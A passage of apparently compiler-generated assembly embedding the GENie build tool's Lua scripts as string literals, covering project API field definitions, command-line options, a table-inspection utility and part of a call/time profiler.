field.kind == \"dirlist\"\nor field.kind == \"filelist\"\nor field.kind == \"absolutefilelist\"\nthen\nif field.name ~= \"removefiles\"\nand field.name ~= \"files\" then\n_G[\"remove\"..field.name] = function(value)\npremake.remove(field.name, value)\nend\nend\nend\nend\nnewapifield {\nname = \"archivesplit_size\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"basedir\",\nkind = \"path\",\nscope = \"container\",\n}\nnewapifield {\nname = \"buildaction\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"Compile\",\n\"Copy\",\n\"Embed\",\n\"None\"\n}\n}\nnewapifield {\nname = \"buildoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_asm\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_c\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_cpp\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_objc\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_objcpp\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_vala\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"clrreferences\",\nkind = \"list\",\nscope = \"container\",\n}\nnewapifield {\nname = \"configurations\",\nkind = \"list\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"custombuildtask\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugcmd\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugargs\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugenvs\" ,\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"defines\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"deploymentoptions\",\nkind = \"list\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"dependency\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"deploymode\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"excludes\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"forcenative\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"nopch\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"files\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"removefiles\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"flags\",\nkind = \"list\",\nscope = \"config\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_flags = {\nAntBuildDebuggable = 1,\nATL = 1,\nC7DebugInfo = 1,\nCpp11 = 1,\nCpp14 = 1,\nCpp17 = 1,\nCppLatest = 1,\nDebugEnvsDontMerge = 1,\nDebugEnvsInherit = 1,\nDeploymentContent = 1,\nEnableMinimalRebuild = 1,\nEnableSSE = 1,\nEnableSSE2 = 1,\nEnableAVX = 1,\nEnableAVX2 = 1,\nPedanticWarnings = 1,\nExtraWarnings = 1,\nFatalWarnings = 1,\nFloatFast = 1,\nFloatStrict = 1,\nFullSymbols = 1,\nGenerateMapFiles = 1,\nHotpatchable = 1,\nLinkSupportCircularDependencies = 1,\nManaged = 1,\nMinimumWarnings = 1,\nMFC = 1,\nNativeWChar = 1,\nNo64BitChecks = 1,\nNoBufferSecurityCheck = 1,\nNoEditAndContinue = 1,\nNoExceptions = 1,\nNoFramePointer = 1,\nNoImportLib = 1,\nNoIncrementalLink = 1,\nNoJMC = 1,\nNoManifest = 1,\nNoMultiProcessorCompilation = 1,\nNoNativeWChar = 1,\nNoOptimizeLink = 1,\nNoPCH = 1,\nNoRTTI = 1,\nNoRuntimeChecks = 1,\nNoWinMD = 1, -- explicitly disables Windows Metadata\nNoWinRT = 1, -- explicitly disables Windows Runtime Extension\nFastCall = 1,\nStdCall = 1,\nSingleOutputDir = 1,\nObjcARC = 1,\nOptimize = 1,\nOptimizeSize = 1,\nOptimizeSpeed = 1,\nDebugRuntime = 1,\nReleaseRuntime = 1,\nSEH = 1,\nStaticATL = 1,\nStaticRuntime = 1,\nSymbols = 1,\nUnicode = 1,\nUnitySupport = 1,\nUnsafe = 1,\nUnsignedChar = 1,\nUseFullPaths = 1,\nUseLDResponseFile = 1,\nUseObjectResponseFile = 1,\nWinMain = 1\n}\nlocal englishToAmericanSpelling =\n{\nnooptimiselink = 'nooptimizelink',\noptimise = 'optimize',\noptimisesize = 'optimizesize',\noptimisespeed = 'optimizespeed',\n}\nlocal lowervalue = value:lower()\nlowervalue = englishToAmericanSpelling[lowervalue] or lowervalue\nfor v, _ in pairs(allowed_flags) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid flag\"\nend,\n}\nnewapifield {\nname = \"framework\",\nkind = \"string\",\nscope = \"container\",\nallowed = {\n\"1.0\",\n\"1.1\",\n\"2.0\",\n\"3.0\",\n\"3.5\",\n\"4.0\",\n\"4.5\",\n\"4.5.1\",\n\"4.5.2\",\n\"4.6\",\n\"4.6.1\",\n\"4.6.2\",\n}\n}\nnewapifield {\nname = \"iostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"macostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"tvostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"windowstargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"windowstargetplatformminversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"forcedincludes\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"imagepath\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"imageoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibextension\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibname\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibprefix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibsuffix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"includedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"systemincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"userincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"usingdirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"kind\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"ConsoleApp\",\n\"WindowedApp\",\n\"StaticLib\",\n\"SharedLib\",\n\"Bundle\",\n}\n}\nnewapifield {\nname = \"language\",\nkind = \"string\",\nscope = \"container\",\nallowed = {\n\"C\",\n\"C++\",\n\"C#\",\n\"Vala\",\n\"Swift\",\n}\n}\nnewapifield {\nname = \"libdirs\",\nkind = \"dirlist\",\nscope = \"config\",\nlinkagecopy = true,\n}\nnewapifield {\nname = \"linkoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"links\",\nkind = \"list\",\nscope = \"config\",\nallowed = function(value)\nif value:find('/', nil, true) then\nvalue = path.getabsolute(value)\nend\nreturn value\nend,\nlinkagecopy = true,\nmergecopiestotail = true,\n}\nnewapifield {\nname = \"location\",\nkind = \"path\",\nscope = \"container\",\n}\nnewapifield {\nname = \"makesettings\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"messageskip\",\nkind = \"list\",\nscope = \"solution\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_messages = {\nSkipCreatingMessage = 1,\nSkipBuildingMessage = 1,\nSkipCleaningMessage = 1,\n}\nlocal lowervalue = value:lower()\nfor v, _ in pairs(allowed_messages) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid message to skip\"\nend,\n}\nnewapifield {\nname = \"msgarchiving\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgcompile\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgprecompile\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgcompile_objc\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgresource\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msglinking\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"objdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"options\",\nkind = \"list\",\nscope = \"container\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_options = {\nForceCPP = 1,\nArchiveSplit = 1,\nSkipBundling = 1,\nXcodeLibrarySchemes = 1,\nXcodeSchemeNoConfigs = 1,\n}\nlocal lowervalue = value:lower()\nfor v, _ in pairs(allowed_options) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid option\"\nend,\n}\nnewapifield {\nname = \"pchheader\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"pchsource\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"platforms\",\nkind = \"list\",\nscope = \"solution\",\nallowed = table.keys(premake.platforms),\n}\nnewapifield {\nname = \"postbuildcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"prebuildcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"postcompiletasks\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"prelinkcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"propertysheets\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"pullmappingfile\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"applicationdatadir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"finalizemetasource\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resdefines\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"sdkreferences\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"startproject\",\nkind = \"string\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"targetdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetsubdir\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetextension\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetname\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetprefix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetsuffix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"trimpaths\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"uuid\",\nkind = \"string\",\nscope = \"container\",\nallowed = function(value)\nlocal ok = true\nif (#value ~= 36) then ok = false end\nfor i=1,36 do\nlocal ch = value:sub(i,i)\nif (not ch:find(\"[ABCDEFabcdef0123456789-]\")) then ok = false end\nend\nif (value:sub(9,9) ~= \"-\") then ok = false end\nif (value:sub(14,14) ~= \"-\") then ok = false end\nif (value:sub(19,19) ~= \"-\") then ok = false end\nif (value:sub(24,24) ~= \"-\") then ok = false end\nif (not ok) then\nreturn nil, \"invalid UUID\"\nend\nreturn value:upper()\nend\n}\nnewapifield {\nname = \"uses\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"vapidirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"vpaths\",\nkind = \"keypath\",\nscope = \"container\",\n}\nnewapifield {\nname = \"vsimportreferences\",\nkind = \"filelist\",\nscope = \"container\",\n}\nnewapifield {\nname = \"dpiawareness\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"None\",\n\"High\",\n\"HighPerMonitor\",\n}\n}\nnewapifield {\nname = \"xcodeprojectopts\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodetargetopts\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodescriptphases\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodecopyresources\",\nkind = \"table\",\nscope = \"project\",\n}\nnewapifield {\nname = \"xcodecopyframeworks\",\nkind = \"filelist\",\nscope = \"project\",\n}\nnewapifield {\nname = \"wholearchive\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"swiftmodulemaps\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_swift\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"linkoptions_swift\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidtargetapi\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidminapi\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidarch\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"armv7-a\",\n\"armv7-a-hard\",\n\"arm64-v8a\",\n\"x86\",\n\"x86_64\",\n}\n}\nnewapifield {\nname = \"androidndktoolchainversion\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidstltype\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidcppstandard\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"c++98\",\n\"c++11\",\n\"c++1y\",\n\"gnu++98\",\n\"gnu++11\",\n\"gnu++1y\",\n}\n}\nnewapifield {\nname = \"androidlinker\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"bfd\",\n\"gold\",\n}\n}\nnewapifield {\nname = \"androiddebugintentparams\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildjavasourcedirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildjardirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildjardependencies\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildnativelibdirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildnativelibdependencies\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildassetsdirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"postsolutioncallbacks\",\nkind = \"list\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"postprojectcallbacks\",\nkind = \"list\",\nscope = \"project\",\n}\n"
L_.str.14: ## @.str.14
.asciz "newoption\n{\ntrigger = \"cc\",\nvalue = \"VALUE\",\ndescription = \"Choose a C/C++ compiler set\",\nallowed = {\n{ \"gcc\", \"GNU GCC (gcc/g++)\" },\n{ \"ow\", \"OpenWatcom\" },\n{ \"ghs\", \"Green Hills Software\" },\n}\n}\nnewoption\n{\ntrigger = \"dotnet\",\nvalue = \"VALUE\",\ndescription = \"Choose a .NET compiler set\",\nallowed = {\n{ \"msnet\", \"Microsoft .NET (csc)\" },\n{ \"mono\", \"Novell Mono (mcs)\" },\n{ \"pnet\", \"Portable.NET (cscc)\" },\n}\n}\nnewoption\n{\ntrigger = \"file\",\nvalue = \"FILE\",\ndescription = \"Read FILE as a Premake script; default is 'premake4.lua'\"\n}\nnewoption\n{\ntrigger = \"help\",\ndescription = \"Display this information\"\n}\nnewoption\n{\ntrigger = \"os\",\nvalue = \"VALUE\",\ndescription = \"Generate files for a different operating system\",\nallowed = {\n{ \"bsd\", \"OpenBSD, NetBSD, or FreeBSD\" },\n{ \"linux\", \"Linux\" },\n{ \"macosx\", \"Apple Mac OS X\" },\n{ \"solaris\", \"Solaris\" },\n{ \"windows\", \"Microsoft Windows\" },\n}\n}\nnewoption\n{\ntrigger = \"platform\",\nvalue = \"VALUE\",\ndescription = \"Add target architecture (if supported by action)\",\nallowed = {\n{ \"x32\", \"32-bit\" },\n{ \"x64\", \"64-bit\" },\n{ \"universal\", \"Mac OS X Universal, 32- and 64-bit\" },\n{ \"universal32\", \"Mac OS X Universal, 32-bit only\" },\n{ \"universal64\", \"Mac OS X Universal, 64-bit only\" },\n{ \"ps3\", \"Playstation 3\" },\n{ \"orbis\", \"Playstation 4\" },\n{ \"xbox360\", \"Xbox 360\" },\n{ \"durango\", \"Xbox One\" },\n{ \"ARM\", \"ARM\" },\n{ \"PowerPC\", \"PowerPC\" },\n}\n}\nnewoption\n{\ntrigger = \"scripts\",\nvalue = \"path\",\ndescription = \"Search for additional scripts on the given path\"\n}\nnewoption\n{\ntrigger = \"debug-profiler\",\ndescription = \"GENie script generation profiler.\"\n}\nnewoption\n{\ntrigger = \"version\",\ndescription = \"Display version information\"\n}\n"
L_.str.15: ## @.str.15
.asciz "-- Copyright (c) 2013 Enrique Garc\303\255a Cota\nlocal function smartQuote(str)\n if str:match('\"') and not str:match(\"'\") then\n return \"'\" .. str .. \"'\"\n end\n return '\"' .. str:gsub('\"', '\\\\\"') .. '\"'\nend\nlocal controlCharsTranslation = {\n [\"\\a\"] = \"\\\\a\", [\"\\b\"] = \"\\\\b\", [\"\\f\"] = \"\\\\f\", [\"\\n\"] = \"\\\\n\",\n [\"\\r\"] = \"\\\\r\", [\"\\t\"] = \"\\\\t\", [\"\\v\"] = \"\\\\v\"\n}\nlocal function escapeChar(c) return controlCharsTranslation[c] end\nlocal function escape(str)\n local result = str:gsub(\"\\\\\", \"\\\\\\\\\"):gsub(\"(%c)\", escapeChar)\n return result\nend\nlocal function isIdentifier(str)\n return type(str) == 'string' and str:match( \"^[_%a][_%a%d]*$\" )\nend\nlocal function isArrayKey(k, length)\n return type(k) == 'number' and 1 <= k and k <= length\nend\nlocal function isDictionaryKey(k, length)\n return not isArrayKey(k, length)\nend\nlocal defaultTypeOrders = {\n ['number'] = 1, ['boolean'] = 2, ['string'] = 3, ['table'] = 4,\n ['function'] = 5, ['userdata'] = 6, ['thread'] = 7\n}\nlocal function sortKeys(a, b)\n local ta, tb = type(a), type(b)\n -- strings and numbers are sorted numerically/alphabetically\n if ta == tb and (ta == 'string' or ta == 'number') then return a < b end\n local dta, dtb = defaultTypeOrders[ta], defaultTypeOrders[tb]\n -- Two default types are compared according to the defaultTypeOrders table\n if dta and dtb then return defaultTypeOrders[ta] < defaultTypeOrders[tb]\n elseif dta then return true -- default types before custom ones\n elseif dtb then return false -- custom types after default ones\n end\n -- custom types are sorted out alphabetically\n return ta < tb\nend\nlocal function getDictionaryKeys(t)\n local keys, length = {}, #t\n for k,_ in pairs(t) do\n if isDictionaryKey(k, length) then table.insert(keys, k) end\n end\n table.sort(keys, sortKeys)\n return keys\nend\nlocal function getToStringResultSafely(t, mt)\n local __tostring = type(mt) == 'table' and rawget(mt, '__tostring')\n local str, ok\n if type(__tostring) == 'function' then\n ok, str = pcall(__tostring, t)\n str = ok and str or 'error: ' .. tostring(str)\n end\n if type(str) == 'string' and #str > 0 then return str end\nend\nlocal maxIdsMetaTable = {\n __index = function(self, typeName)\n rawset(self, typeName, 0)\n return 0\n end\n}\nlocal idsMetaTable = {\n __index = function (self, typeName)\n local col = setmetatable({}, {__mode = \"kv\"})\n rawset(self, typeName, col)\n return col\n end\n}\nlocal function countTableAppearances(t, tableAppearances)\n tableAppearances = tableAppearances or setmetatable({}, {__mode = \"k\"})\n if type(t) == 'table' then\n if not tableAppearances[t] then\n tableAppearances[t] = 1\n for k,v in pairs(t) do\n countTableAppearances(k, tableAppearances)\n countTableAppearances(v, tableAppearances)\n end\n countTableAppearances(getmetatable(t), tableAppearances)\n else\n tableAppearances[t] = tableAppearances[t] + 1\n end\n end\n return tableAppearances\nend\nlocal function parse_filter(filter)\n if type(filter) == 'function' then return filter end\n -- not a function, so it must be a table or table-like\n filter = type(filter) == 'table' and filter or {filter}\n local dictionary = {}\n for _,v in pairs(filter) do dictionary[v] = true end\n return function(x) return dictionary[x] end\nend\nlocal function makePath(path, key)\n local newPath, len = {}, #path\n for i=1, len do newPath[i] = path[i] end\n newPath[len+1] = key\n return newPath\nend\nfunction inspect(rootObject, options)\n options = options or {}\n local depth = options.depth or math.huge\n local filter = parse_filter(options.filter or {})\n local tableAppearances = countTableAppearances(rootObject)\n local buffer = {}\n local maxIds = setmetatable({}, maxIdsMetaTable)\n local ids = setmetatable({}, idsMetaTable)\n local level = 0\n local blen = 0 -- buffer length\n local function puts(...)\n local args = {...}\n for i=1, #args do\n blen = blen + 1\n buffer[blen] = tostring(args[i])\n end\n end\n local function down(f)\n level = level + 1\n f()\n level = level - 1\n end\n local function tabify()\n puts(\"\\n\", string.rep(\" \", level))\n end\n local function commaControl(needsComma)\n if needsComma then puts(',') end\n return true\n end\n local function alreadyVisited(v)\n return ids[type(v)][v] ~= nil\n end\n local function getId(v)\n local tv = type(v)\n local id = ids[tv][v]\n if not id then\n id = maxIds[tv] + 1\n maxIds[tv] = id\n ids[tv][v] = id\n end\n return id\n end\n local putValue -- forward declaration that needs to go before putTable & putKey\n local function putKey(k)\n if isIdentifier(k) then return puts(k) end\n puts( \"[\" )\n putValue(k, {})\n puts(\"]\")\n end\n local function putTable(t, path)\n if alreadyVisited(t) then\n puts('<table ', getId(t), '>')\n elseif level >= depth then\n puts('{...}')\n else\n if tableAppearances[t] > 1 then puts('<', getId(t), '>') end\n local dictKeys = getDictionaryKeys(t)\n local length = #t\n local mt = getmetatable(t)\n local to_string_result = getToStringResultSafely(t, mt)\n puts('{')\n down(function()\n if to_string_result then\n puts(' -- ', escape(to_string_result))\n if length >= 1 then tabify() end -- tabify the array values\n end\n local needsComma = false\n for i=1, length do\n needsComma = commaControl(needsComma)\n puts(' ')\n putValue(t[i], makePath(path, i))\n end\n for _,k in ipairs(dictKeys) do\n needsComma = commaControl(needsComma)\n tabify()\n putKey(k)\n puts(' = ')\n putValue(t[k], makePath(path, k))\n end\n if mt then\n needsComma = commaControl(needsComma)\n tabify()\n puts('<metatable> = ')\n putValue(mt, makePath(path, '<metatable>'))\n end\n end)\n if #dictKeys > 0 or mt then -- dictionary table. Justify closing }\n tabify()\n elseif length > 0 then -- array tables have one extra space before closing }\n puts(' ')\n end\n puts('}')\n end\n end\n -- putvalue is forward-declared before putTable & putKey\n putValue = function(v, path)\n if filter(v, path) then\n puts('<filtered>')\n else\n local tv = type(v)\n if tv == 'string' then\n puts(smartQuote(escape(v)))\n elseif tv == 'number' or tv == 'boolean' or tv == 'nil' then\n puts(tostring(v))\n elseif tv == 'table' then\n putTable(v, path)\n else\n puts('<',tv,' ',getId(v),'>')\n end\n end\n end\n putValue(rootObject, {})\n return table.concat(buffer)\nend\nfunction printtable(name, table)\nprint(\"table: \", name, inspect(table), \"\\n\")\nend\nfunction printstack()\nprint(debug.traceback(), \"\\n\")\nend\n"
L_.str.16: ## @.str.16
.asciz "_profiler = {}\nfunction newProfiler(variant, sampledelay)\nif _profiler.running then\nprint(\"Profiler already running.\")\nreturn\nend\nvariant = variant or \"time\"\nif variant ~= \"time\" and variant ~= \"call\" then\nprint(\"Profiler method must be 'time' or 'call'.\")\nreturn\nend\nlocal newprof = {}\nfor k,v in pairs(_profiler) do\nnewprof[k] = v\nend\nnewprof.variant = variant\nnewprof.sampledelay = sampledelay or 100000\nreturn newprof\nend\nfunction _profiler.start(self)\nif _profiler.running then\nreturn\nend\n_profiler.running = self\nself.rawstats = {}\nself.callstack = {}\nif self.variant == \"time\" then\nself.lastclock = os.clock()\ndebug.sethook( _profiler_hook_wrapper_by_time, \"\", self.sampledelay )\nelseif self.variant == \"call\" then\ndebug.sethook( _profiler_hook_wrapper_by_call, \"cr\" )\nelse\nprint(\"Profiler method must be 'time' or 'call'.\")\nsys.exit(1)\nend\nend\nfunction _profiler.stop(self)\nif _profiler.running ~= self then\nreturn\nend\ndebug.sethook( nil )\n_profiler.running = nil\nend\nfunction _profiler_hook_wrapper_by_call(action)\nif _profiler.running == nil then\ndebug.sethook( nil )\nend\n_profiler.running:_internal_profile_by_call(action)\nend\nfunction _profiler_hook_wrapper_by_time(action)\nif _profiler.running == nil then\ndebug.sethook( nil )\nend\n_profiler.running:_internal_profile_by_time(action)\nend\nfunction _profiler._internal_profile_by_call(self,action)\nlocal caller_info = debug.getinfo( 3 )\nif caller_info == nil then\nprint \"No caller_info\"\nreturn\nend\nlocal latest_ar = nil\nif table.getn(self.callstack) > 0 then\nlatest_ar = self.callstack[table.getn(self.callstack)]\nend\nlocal should_not_profile = 0\nfor k,v in pairs(self.prevented_functions) do\nif k == caller_info.func then\nshould_not_profile = v\nend\nend\nif latest_ar then\nif latest_ar.should_not_profile == 2 then\nshould_not_profile = 2\nend\nend\nif action == \"call\" then\nlocal this_ar = {}\nthis_ar.should_not_profile = should_not_profile\nthis_ar.parent_ar = latest_ar\nthis_ar.anon_child = 0\nthis_ar.name_child = 0\nthis_ar.children = {}\nthis_ar.children_time = {}\nthis_ar.clock_start = os.clock()\ntable.insert( self.callstack, this_ar )\nelse\nlocal this_ar = latest_ar\nif this_ar == nil then\nreturn -- No point in doing anything if no upper activation record\nend\nthis_ar.clock_end = os.clock()\nthis_ar.this_time = this_ar.clock_end - this_ar.clock_start\nif this_ar.parent_ar then\nthis_ar.parent_ar.children[caller_info.func] =\n(this_ar.parent_ar.children[caller_info.func] or 0) + 1\nthis_ar.parent_ar.children_time[caller_info.func] =\n(this_ar.parent_ar.children_time[caller_info.func] or 0 ) +\nthis_ar.this_time\nif caller_info.name == nil then\nthis_ar.parent_ar.anon_child =\nthis_ar.parent_ar.anon_child + this_ar.this_time\nelse\nthis_ar.parent_ar.name_child =\nthis_ar.parent_ar.name_child + this_ar.this_time\nend\nend\nif this_ar.should_not_profile == 0 then\nlocal inforec = self:_get_func_rec(caller_info.func,1)\ninforec.count = inforec.count + 1\ninforec.time = inforec.time + this_ar.this_time\ninforec.anon_child_time = inforec.anon_child_time + this_ar.anon_child\ninforec.name_child_time = inforec.name_child_time + this_ar.name_child\ninforec.func_info = caller_info\nfor k,v in pairs(this_ar.children) do\ninforec.children[k] = (inforec.children[k] or 0) + v\ninforec.children_time[k] =\n(inforec.children_time[k] or 0) + this_ar.children_time[k]\nend\nend\ntable.remove( self.callstack, table.getn( self.callstack ) )\nend\nend\nfunction _profiler._internal_profile_by_time(self,action)\nlocal timetaken = os.clock() - self.lastclock\nlocal depth = 3\nlocal at_top = true\nlocal last_caller\nlocal caller = debug.getinfo(depth)\nwhile caller do\nif not caller.func then caller.func = \"(tail call)\" end\nif self.prevented_functions[caller.func] == nil then\nlocal info = self:_get_func_rec(caller.func, 1, caller)\ninfo.count = info.count + 1\ninfo.time = info.time + timetaken\nif last_caller then\nif last_caller.name then\ninfo.name_child_time = info.name_child_time + timetaken\nelse\ninfo.anon_child_time = info.anon_child_time + timetaken\nend\ninfo.children[last_caller.func] =\n(info.children[last_caller.func] or 0) + 1\ninfo.children_time[last_caller.func] =\n(info.children_time[last_caller.func] or 0) + timetaken\nend\nend\ndepth = depth + 1\nlast_caller = caller\ncaller = debug.getinfo(depth)\nend\nself.lastclock = os.clock()\nend\nfunction _profiler._get_func_rec(self,func,force,info)\nlocal ret = self.rawstats[func]\nif ret == nil and force ~= 1 then\nreturn nil\nend\nif ret == nil then\nret = {}\nret.func = func\nret.count = 0\nret.time = 0\nret.anon_child_time = 0\nret.name_child_time = 0\nret.children = {}\nret.children_time = {}\nret.func_info = info\nself.rawstats[func] = ret\nend\nreturn ret\nend\nfunction _profiler.report( self, outfile, sort_by_total_time )\noutfile:write\n[[Lua Profile output created by profiler.lua. Copyright Pepperfish 2002+\n]]\nlocal terms = {}\nif self.variant == \"time\" then\nterms.capitalized = \"Sample\"\nterms.single = \"sample\"\nterms.pastverb = \"sampled\"\nelseif self.variant == \"call\" then\nterms.capitalized = \"Call\"\nterms.single = \"call\"\nterms.pastverb = \"called\"\nelse\nassert(false)\nend\nlocal total_time = 0\nlocal ordering = {}\nfor func,record in pairs(self.rawstats) do\ntable.insert(ordering, func)\nend\nif sort_by_total_time then\ntable.sort( ordering,\nfunction(a,b) return self.rawstats[a].time > self.rawstats[b].time end\n)\nelse\ntable.sort( ordering,\nfunction(a,b)\nlocal arec = self.rawstats[a]\nlocal brec = self.rawstats[b]\nlocal atime = arec.time - (arec.anon_child_time + arec.name_child_time)\nlocal btime = brec.time - (brec.anon_child_time + brec.name_child_time)\nreturn atime > btime\nend\n)\nend\nfor i=1,#ordering do\nlocal func = ordering[i]\nlocal record = self.rawstats[func]\nlocal thisfuncname = \" \" .. self:_pretty_name(func) .. \" \"\nif string.len( thisfuncname ) < 42 then\nthisfuncname = string.rep( \"-\", math.floor((42 - string.len(thisfuncname))/2) ) .. thisfuncname\nthisfuncname = thisfuncname .. string.rep( \"-\", 42 - string.len(thisfuncname) )\nend\ntotal_time = total_time + ( record.time - ( record.anon_child_time +\nrecord.name_child_time ) )\noutfile:write( string.rep( \"-\", 19 ) .. thisfuncname 